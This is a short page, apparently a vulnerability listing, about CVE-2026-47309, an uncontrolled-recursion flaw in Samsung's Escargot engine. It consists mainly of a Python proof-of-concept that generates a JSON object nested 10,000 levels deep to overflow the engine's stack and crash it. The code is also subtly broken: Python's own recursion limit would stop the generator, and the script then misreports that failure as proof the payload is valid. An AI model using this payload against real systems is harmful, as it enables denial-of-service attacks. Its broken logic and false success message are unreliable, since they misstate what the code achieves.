CVE-2026-47309 Samsung Escargot 不受控递归漏洞

import json # PoC Generator for CVE-2026-47309 # Generates a deeply nested JSON payload to trigger uncontrolled recursion. def create_nested_payload(depth): """Recursively creates a nested dictionary structure.""" if depth == 0: return "payload_end" return {"next": create_nested_payload(depth - 1)} # Configuration: Depth large enough to exceed stack limits # Suggested depth: 10000 or more depending on environment NESTING_DEPTH = 10000 print(f"Generating nested payload with depth: {NESTING_DEPTH}") try: malicious_data = create_nested_payload(NESTING_DEPTH) # In a real attack scenario, this serialized string would be fed to the vulnerable Escargot engine. json_payload = json.dumps(malicious_data) print(f"Payload generated. Size: {len(json_payload)} bytes.") # print(json_payload) # Caution: Printing this may freeze the console except RecursionError as e: print(f"Local RecursionError detected: {e}") print("This indicates the payload structure is valid for testing recursion limits.")